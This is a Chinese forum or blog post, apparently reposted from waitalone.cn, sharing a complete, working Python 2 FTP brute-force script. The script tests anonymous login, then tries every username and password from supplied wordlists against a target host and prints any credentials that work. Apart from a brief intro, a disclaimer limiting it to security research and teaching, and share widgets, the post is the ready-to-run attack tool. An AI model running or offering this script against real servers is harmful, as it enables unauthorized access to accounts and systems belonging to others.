最近学习python,然后写的练习工具,希望兄弟们喜欢。。
先发一个单线程版的吧,多线程版的明天发出,祝兄弟们中秋节快乐。
Python FTP暴力破解工具单线程版
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/9/4 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import ftplib, socket, re, sys, time def usage(): print '+' + '-' * 50 + '+' print '\t Python FTP暴力破解工具单线程版' print '\t Blog:http://www.waitalone.cn/' print '\t\t Code BY: 独自等待' print '\t\t Time:2014-09-04' print '+' + '-' * 50 + '+' if len(sys.argv) != 4: print "用法: ftpbrute.py 待破解的ip/domain 用户名列表 字典列表" print "实例: ftpbrute.py www.waitalone.cn user.txt pass.txt" sys.exit() def ftp_anon(host): try: print '\n[+] 测试匿名登陆……\n' ftp = ftplib.FTP() ftp.connect(host, 21, 10) ftp.login() ftp.retrlines('LIST') ftp.quit() print '\n[+] 匿名登陆成功……' except ftplib.all_errors: print '\n[-] 匿名登陆失败……' def ftp_crack(host, user, pwd): try: ftp = ftplib.FTP() ftp.connect(host, 21, 10) ftp.login(user, pwd) ftp.retrlines('LIST') ftp.quit() print '\n[+] 破解成功,用户名:' + user + ' 密码:' + pwd except ftplib.all_errors: pass if __name__ == '__main__': start_time = time.time() usage() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [x.rstrip() for x in open(sys.argv[2])] passlist = [x.rstrip() for x in open(sys.argv[3])] print '[+] Target:', host print '[+] Userlist:', len(userlist) print '[+] Passlist:', len(passlist) ftp_anon(host) print '\n[+] 暴力破解测试中……\n' for user in userlist: for pwd in passlist: ftp_crack(host, user, pwd) print '\n[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
效果如下图:
from www.waitalone.cn.thanks for it.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论